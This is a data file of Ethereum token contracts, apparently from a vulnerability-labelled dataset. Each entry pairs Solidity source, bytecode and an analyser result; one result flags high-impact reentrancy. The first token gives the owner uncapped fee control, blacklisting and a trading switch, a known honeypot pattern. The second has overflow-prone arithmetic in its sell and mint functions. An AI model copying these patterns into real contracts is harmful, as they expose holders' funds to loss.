_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104af57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fa565b005b34801561020a57600080fd5b506040805180820190915260098152686c616e64736c69646560b81b60208201525b6040516102399190611a23565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a78565b610699565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa4565b6106b0565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae5565b610719565b34801561036d57600080fd5b506101fc61037c366004611b12565b610764565b34801561038d57600080fd5b506101fc6107ac565b3480156103a257600080fd5b506102c16103b1366004611ae5565b6107f7565b3480156103c257600080fd5b506101fc610819565b3480156103d757600080fd5b506101fc6103e6366004611b2d565b61088d565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae5565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b12565b6108bc565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b506040805180820190915260048152631310531160e21b602082015261022c565b3480156104bb57600080fd5b506101fc6104ca366004611b2d565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b46565b610933565b3480156104fb57600080fd5b5061026261050a366004611a78565b610971565b34801561051b57600080fd5b5061026261052a366004611ae5565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b78565b6109d2565b34801561058057600080fd5b506102c161058f366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2d565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae5565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c35565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c96565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c35565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c35565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c35565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c35565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c6a565b9050602002016020810190610a339190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c96565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c35565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c35565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611cb1565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611ce0565b816001815181106113cb576113cb611c6a565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611732565b6001600160a01b0389166000908152600260205260409020556115c381611791565b6115cd84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164082826114be565b82101561165c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149b565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173f8385611cb1565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179b61149b565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114be565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106aa565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112dd81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112dd82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112dd81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201e8ad6b1160034277b42fadd6e56d7e9125b5dbb71b4915dcec42c422d1e7f0164736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 10,148 |
0x4907992735804d10fa5e96c07a5d77a79543b691 | pragma solidity ^0.4.16;
contract owned {
address public owner;
function owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract TokenERC20 {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constrctor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function TokenERC20(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value > balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` in behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
Burn(_from, _value);
return true;
}
}
/******************************************/
/* ADVANCED TOKEN STARTS HERE */
/******************************************/
contract SpeedCashTokenContract is owned, TokenERC20 {
uint256 public sellPrice;
uint256 public buyPrice;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
/* Initializes contract with initial supply tokens to the creator of the contract */
function SpeedCashTokenContract(
) TokenERC20(476918, "SpeedCashLite", "SCSL") public {}
/* Internal transfer, only can be called by this contract */
function _transfer(address _from, address _to, uint _value) internal {
require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead
require (balanceOf[_from] >= _value); // Check if the sender has enough
require (balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balanceOf[_from] -= _value; // Subtract from the sender
balanceOf[_to] += _value; // Add the same to the recipient
Transfer(_from, _to, _value);
}
function airDropCustom(address[] recipients, uint256[] values) public {
for (uint256 i = 0; i < recipients.length; i++) {
transfer(recipients[i], values[i]);
}
}
function airDropSame(address[] recipients, uint256 value) public {
for (uint256 i = 0; i < recipients.length; i++) {
transfer(recipients[i], value);
}
}
/// @notice Create `mintedAmount` tokens and send it to `target`
/// @param target Address to receive the tokens
/// @param mintedAmount the amount of tokens it will receive
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount;
totalSupply += mintedAmount;
Transfer(0, this, mintedAmount);
Transfer(this, target, mintedAmount);
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
/// @param target Address to be frozen
/// @param freeze either to freeze it or not
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
/// @notice Allow users to buy tokens for `newBuyPrice` eth and sell tokens for `newSellPrice` eth
/// @param newSellPrice Price the users can sell to the contract
/// @param newBuyPrice Price users can buy from the contract
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice;
buyPrice = newBuyPrice;
}
/// @notice Buy tokens from contract by sending ether
function buy() payable public {
uint amount = msg.value / buyPrice; // calculates the amount
_transfer(this, msg.sender, amount); // makes the transfers
}
/// @notice Sell `amount` tokens to contract
/// @param amount amount of tokens to be sold
function sell(uint256 amount) public {
require(this.balance >= amount * sellPrice); // checks if the contract has enough ether to buy
_transfer(msg.sender, this, amount); // makes the transfers
msg.sender.transfer(amount * sellPrice); // sends ether to the seller. It's important to do this last to avoid recursion attacks
}
} | 0x60606040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305fefda71461014357806306fdde031461016f578063079c9fbb146101fd578063095ea7b31461026057806318160ddd146102ba57806323b872dd146102e3578063313ce5671461035c57806342966c681461038b5780634b750334146103c657806370a08231146103ef57806376937a3f1461043c57806379c65068146104d657806379cc6790146105185780638620410b146105725780638da5cb5b1461059b57806395d89b41146105f0578063a6f2ae3a1461067e578063a9059cbb14610688578063b414d4b6146106ca578063cae9ca511461071b578063dd62ed3e146107b8578063e4849b3214610824578063e724529c14610847578063f2fde38b1461088b575b600080fd5b341561014e57600080fd5b61016d60048080359060200190919080359060200190919050506108c4565b005b341561017a57600080fd5b610182610931565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c25780820151818401526020810190506101a7565b50505050905090810190601f1680156101ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020857600080fd5b61025e6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190919050506109cf565b005b341561026b57600080fd5b6102a0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610a11565b604051808215151515815260200191505060405180910390f35b34156102c557600080fd5b6102cd610a9e565b6040518082815260200191505060405180910390f35b34156102ee57600080fd5b610342600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610aa4565b604051808215151515815260200191505060405180910390f35b341561036757600080fd5b61036f610bd1565b604051808260ff1660ff16815260200191505060405180910390f35b341561039657600080fd5b6103ac6004808035906020019091905050610be4565b604051808215151515815260200191505060405180910390f35b34156103d157600080fd5b6103d9610ce8565b6040518082815260200191505060405180910390f35b34156103fa57600080fd5b610426600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cee565b6040518082815260200191505060405180910390f35b341561044757600080fd5b6104d460048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050610d06565b005b34156104e157600080fd5b610516600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d5f565b005b341561052357600080fd5b610558600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610ed0565b604051808215151515815260200191505060405180910390f35b341561057d57600080fd5b6105856110ea565b6040518082815260200191505060405180910390f35b34156105a657600080fd5b6105ae6110f0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156105fb57600080fd5b610603611115565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610643578082015181840152602081019050610628565b50505050905090810190601f1680156106705780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106866111b3565b005b341561069357600080fd5b6106c8600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506111d3565b005b34156106d557600080fd5b610701600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111e2565b604051808215151515815260200191505060405180910390f35b341561072657600080fd5b61079e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016